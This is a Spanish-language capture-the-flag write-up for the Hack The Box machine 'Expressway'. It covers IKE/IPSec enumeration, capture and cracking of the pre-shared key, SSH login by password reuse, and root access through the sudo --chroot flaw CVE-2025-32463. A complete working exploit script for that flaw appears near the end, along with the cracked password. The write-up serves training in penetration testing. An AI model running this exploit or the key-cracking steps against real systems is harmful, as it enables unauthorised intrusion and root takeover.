Descripción

Expressway es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración del servidor IPSec y recuperación de la clave PSK
  • Reutilización de contraseñas para usuario Linux
  • Elevación de privilegios mediante una aplicación SUDO vulnerable

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.62.220.

$ ping -c 3 10.129.62.220
PING 10.129.62.220 (10.129.62.220) 56(84) bytes of data.
64 bytes from 10.129.62.220: icmp_seq=1 ttl=63 time=48.0 ms
64 bytes from 10.129.62.220: icmp_seq=2 ttl=63 time=48.7 ms
64 bytes from 10.129.62.220: icmp_seq=3 ttl=63 time=47.5 ms

--- 10.129.62.220 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.508/48.072/48.719/0.497 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.62.220 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.62.220
Host is up (0.049s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds

Obtenemos un puerto abierto, 22. Nos movemos a enumerar puertos UDP.

$ sudo nmap 10.129.62.220 -sU --top-ports 100 -oN nmap_scan_udp
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.62.220
Host is up (0.049s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

Nmap done: 1 IP address (1 host up) scanned in 111.76 seconds

Se ha encontrado que el puerto UDP 500 está abierto y se ejecuta el servicio isakmp.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.62.220 -Pn -sV -sC -p22 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.62.220
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds

$ nmap 10.129.62.220 -Pn -sU -sV -sC -p500 -oN nmap_scan_ports_udp
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.62.220
Host is up (0.049s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.98 seconds

Agregamos el host expressway.htb a la lista de hosts en el archivo /etc/hosts.

$ echo "10.129.62.220 expressway.htb" | sudo tee -a /etc/hosts

Como no tenemos credenciales viables para SSH, enumeramos el servicio isakmp en el puerto UDP 500, relacionado con IPSec. IPSec es un conjunto de protocolos que seca las comunicaciones de IP proporcionando cifrado, autenticación y integridad. IKE es un protocolo utilizado para negociar y gestionar las claves y configuraciones de seguridad necesarias para conexiones IPSec. Encontramos que soporta la autenticación XAUTH y está utilizando `Dead Peer Detection v1.0.

Explotación

Enumeramos el servicio IPSec y encontramos que el módulo Cisco es vulnerable a enumeración de nombres de grupo y recuperación de clave PSK. Debido a que los dispositivos devuelven respuestas diferentes a las solicitudes IKE, se puede enumerar los nombres de grupo válidos de los dispositivos VPN. Con el nombre de grupo correcto, la clave pre-configurada (PSK) se puede capturar y se puede llevar a cabo un ataque fuerza bruta en línea. Comenzamos haciendo una simple enumeración con el herramienta ike-scan.

$ ike-scan 10.129.62.220                                      
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.62.220   Main Mode Handshake returned HDR=(CKY-R=a8119e135787b4e2) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.056 seconds (17.93 hosts/sec).  1 returned handshake; 0 returned notify

Recibimos el saludo sin problemas. Va a intentar recuperar el hash de la clave PSK utilizando modo agresivo y guardándolo en el archivo psk.txt.

$ ike-scan -Ppsk.txt -M -A 10.129.62.220
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.62.220   Aggressive Mode Handshake returned
        HDR=(CKY-R=330b4480f89ece23)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.057 seconds (17.62 hosts/sec).  1 returned handshake; 0 returned notify

$ cat psk.txt                                     
23d4731dc5d297c15ac302616d120cbf61290575c31eb847840c14abd05b0b5e1f7786d25c628759fe89329dff2ad5f6a4ecf806e43152cc3b31bee2b87715fbd74a87a01ddfb6f2114e78e81d82aeb3bad6eb78cacbc1af0ca57ed1686057a6aa941047e3bc9e887664df140899c4a5f0edb2daf645a7f38a09207db5bcc9e7:e25347f451887adb802e621c58f5faedb3cdd0f7dd984a57ecc66f6caaab37c61f5631528870bcbe8e9f18e517b463ba27838a96a7fe768d2445cf1d0e363d7de727a8ff6c064b97f178f01c2fb836156d05dc47db6567c23be418cc9b6fa2de5603d704bb91514f7b0414c649d6df1fb646fc07cf602c77ff157a0bd4998d7b:330b4480f89ece23:262cca0ba2adf846:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:e581237d502897085043cafde718ed93993155ee:497dfccd78ee1f18fc601029d9119092c93e4a54b2c2d9769730a2a0165381d8:0e5c8f90bb99a82f8444b610224dc8883557fcf8

Obtenemos un usuario de IPSec ike@expressway.htb y una clave pre-compuesta con parámetros. Vamos a convertirlo en un formato que entenderá John The Ripper y romperlo.

$ ikescan2john psk.txt > psk.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt psk.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (IKE, PSK [HMAC MD5/SHA1 32/64])
Cost 1 (hash algorithm used for hmac [1:MD5 2:SHA1]) is 2 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freakingrockstarontheroad (?)     
1g 0:00:00:01 DONE 0.8196g/s 6593Kp/s 6593Kc/s 6593KC/s fredjohnson..frazel03
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Recuperamos la clave PSK para el servicio IPSec, freakingrockstarontheroad Encontramos que podemos iniciar sesión en la máquina utilizando SSH con el usuario ike y la contraseña recuperada.

$ ssh ike@expressway.htb                                       
ike@expressway.htb's password: 
...
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

Post-Explotación

El usuario ike pertenece al grupo proxy. Como usuario de consola también encontramos a root.

ike@expressway:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash

Enumerando la versión de Sudo, encontramos que el sistema utiliza la versión 1.9.17.

ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

El comando sudo antes de la versión 1.9.17p1 permite que los usuarios locales obtengan acceso de root porque se utiliza /etc/nsswitch.conf desde una dirección de archivo controlada por el usuario con la opción --chroot, lo que es vulnerable según CVE-2025-32463. Existe una prueba de concepto en Github creada por kh4sh3i. Utilizamos el exploit para activar la vulnerabilidad y obtener permisos de root.

ike@expressway:~$ cat<<'EXPLOITEND' > /tmp/sudo-chwoot.sh
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

EXPLOITEND

ike@expressway:~$ bash /tmp/sudo-chwoot.sh 
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)

Flags

En la consola de root podemos recuperar ambas flags.

root@expressway:/# cat /home/ike/user.txt 
<REDACTED>
root@expressway:/# cat /root/root.txt 
<REDACTED>